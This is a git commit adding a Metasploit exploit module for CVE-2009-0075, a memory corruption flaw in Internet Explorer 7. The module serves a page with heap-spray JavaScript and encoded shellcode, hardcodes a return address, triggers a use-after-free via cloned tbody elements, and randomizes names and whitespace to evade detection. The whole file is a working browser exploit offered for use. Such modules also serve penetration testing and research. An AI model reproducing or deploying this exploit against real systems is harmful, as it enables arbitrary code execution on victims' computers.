MS09-002 coverage by dean

git-svn-id: file:///home/svn/framework3/trunk@6238 4d416f70-5f16-0410-b530-b9f4589650da
2009-02-20 17:46:52 +00:00 · 2009-02-20 17:46:52 +00:00 · 8fe4bf88b9
parent 4d97256c70
commit 8fe4bf88b9
1 changed files with 127 additions and 0 deletions
--- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
+++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
@ -0,0 +1,127 @@
+###
+## This file is part of the Metasploit Framework and may be subject to
+## redistribution and commercial restrictions. Please see the Metasploit
+## Framework web site for more information on licensing and terms of use.
+## http://metasploit.com/projects/Framework/
+###
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Internet Explorer 7 Uninitialized Memory Corruption Vulnerability',
+			'Description'    => %q{
+				This module exploits an error related to the CFunctionPointer function when attempting
+				to access uninitialized memory. A remote attacker could exploit this vulnerability to 
+				corrupt memory and execute arbitrary code on the system with the privileges of the victim.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'dean [at] zerodaysolutions [dot] com' ], 
+			'Version'        => '$Revision:$',
+			'References'     => 
+				[
+					[ 'CVE', 'CVE-2009-0075' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 1024,
+					'BadChars'      => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]	
+				],
+			'DisclosureDate' => 'Feb 17 2008',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		
+		# Re-generate the payload.
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Encode the shellcode.
+		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+
+		# Set the return.
+		ret     = Rex::Text.to_unescape([target.ret].pack('V'))
+		
+		# Randomize the javascript variable names.
+		rand1   = rand_text_alpha(rand(100) + 1)
+		rand2   = rand_text_alpha(rand(100) + 1)
+		rand3   = rand_text_alpha(rand(100) + 1)
+		rand4   = rand_text_alpha(rand(100) + 1)
+		rand5   = rand_text_alpha(rand(100) + 1)
+		rand6   = rand_text_alpha(rand(100) + 1)
+		rand7   = rand_text_alpha(rand(100) + 1)
+		rand8   = rand_text_alpha(rand(100) + 1)
+		rand9   = rand_text_alpha(rand(100) + 1)
+		rand10  = rand_text_alpha(rand(100) + 1)
+		rand11  = rand_text_alpha(rand(100) + 1)
+		rand12  = rand_text_alpha(rand(100) + 1)
+		rand13  = rand_text_alpha(rand(100) + 1)
+		fill    = rand_text_alpha(25)	
+		
+		content = %Q|
+		<html>
+			<script language="JavaScript">
+				var #{rand1} = unescape("#{shellcode}");
+		 		var #{rand2} = new Array();
+		 		var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);
+		 		var #{rand4} = unescape("#{ret}");
+		 		while(#{rand4}.length<#{rand3}/2)
+		 		{#{rand4}+=#{rand4};}
+		 		var #{rand5} = #{rand4}.substring(0,#{rand3}/2);
+		 		delete #{rand4};
+		 		for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++)
+		 		{#{rand2}[#{rand6}] = #{rand5} + #{rand1};}
+		 		CollectGarbage();
+		 		var #{rand7} = unescape("#{ret}"+"#{fill}");
+		 		var #{rand8} = new Array();
+		 		for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)
+				#{rand8}.push(document.createElement("img"));
+		 		function #{rand10}() 
+				{
+				#{rand11} = document.createElement("tbody");
+				#{rand11}.click;
+				var #{rand12} = #{rand11}.cloneNode();
+				#{rand11}.clearAttributes();
+				#{rand11}=null;
+		 		CollectGarbage();
+		 		for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
+				#{rand8}[#{rand13}].src=#{rand7};
+				#{rand12}.click;
+				}
+				window.setTimeout("#{rand10}();",800);
+ 			</script>
+		</html>
+					|
+
+		content = Rex::Text.randomize_space(content)
+		
+		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+end